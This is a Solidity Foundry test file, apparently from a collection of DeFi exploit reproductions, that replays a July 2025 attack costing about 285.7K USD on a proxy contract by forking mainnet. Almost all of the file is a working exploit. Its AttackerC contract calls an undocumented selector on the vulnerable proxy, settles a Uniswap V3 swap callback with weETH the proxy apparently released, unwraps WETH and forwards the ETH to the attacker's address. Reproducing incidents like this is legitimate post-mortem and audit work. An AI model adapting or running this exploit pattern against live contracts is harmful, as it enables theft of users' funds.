src/test/2025-07/unverified_54cd_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 285.7K USD
7// Attacker : https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f
8// Attack Contract : https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed3
9// Vulnerable Contract : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c2
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1941689712621576493
17// Twitter Guy : https://x.com/TenArmorAlert/status/1941689712621576493
18// Hacking God : N/A
19 
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant UniswapV3Pool = 0x202A6012894Ae5c288eA824cbc8A9bfb26A49b93;
22address constant ERC1967Proxy = 0x54Cd23460DF45559Fd5feEaaDA7ba25f89c13525;
23address constant attacker = 0xb750E3165de458EaE09904cC7Fad099632860B0f;
24address constant weETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;
25 
26contract ContractTest is Test {
27    function setUp() public {
28        vm.createSelectFork("mainnet", 22855568);
29    }
30    
31    function testPoC() public {
32        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
33        vm.startPrank(attacker, attacker);
34        AttackerC attC = new AttackerC();
35        attC.attack();
36        vm.stopPrank();
37        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
38    }
39}
40 
41contract AttackerC {
42    function attack() public {
43        (bool s1, ) = ERC1967Proxy.call(abi.encodeWithSelector(bytes4(0x03b79c24), address(this)));
44        require(s1, "call1 failed");
45 
46        (bool s2, ) = UniswapV3Pool.call(
47            abi.encodeWithSelector(
48                IUniswapV3Pool.swap.selector,
49                address(this),
50                false,
51                int256(106929468097270451433),
52                uint256(1461446703485210103287273052203988822378723970341),
53                bytes("")
54            )
55        );
56        require(s2, "swap failed");
57 
58        IWETH9(weth9).withdraw(114534059890882021484);
59 
60        (bool s3, ) = attacker.call{value: address(this).balance}("");
61        require(s3, "send ETH failed");
62    }
63  
64    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
65        IERC20(weETH).transfer(UniswapV3Pool, uint256(amount1Delta));
66    }
67 
68    fallback() external payable {}
69    receive() external payable {}
70}
71 
72interface IWETH9 {
73	function withdraw(uint256) external; 
74}
75interface IUniswapV3Pool {
76	function swap(address, bool, int256, uint160, bytes calldata) external returns (int256, int256); 
77}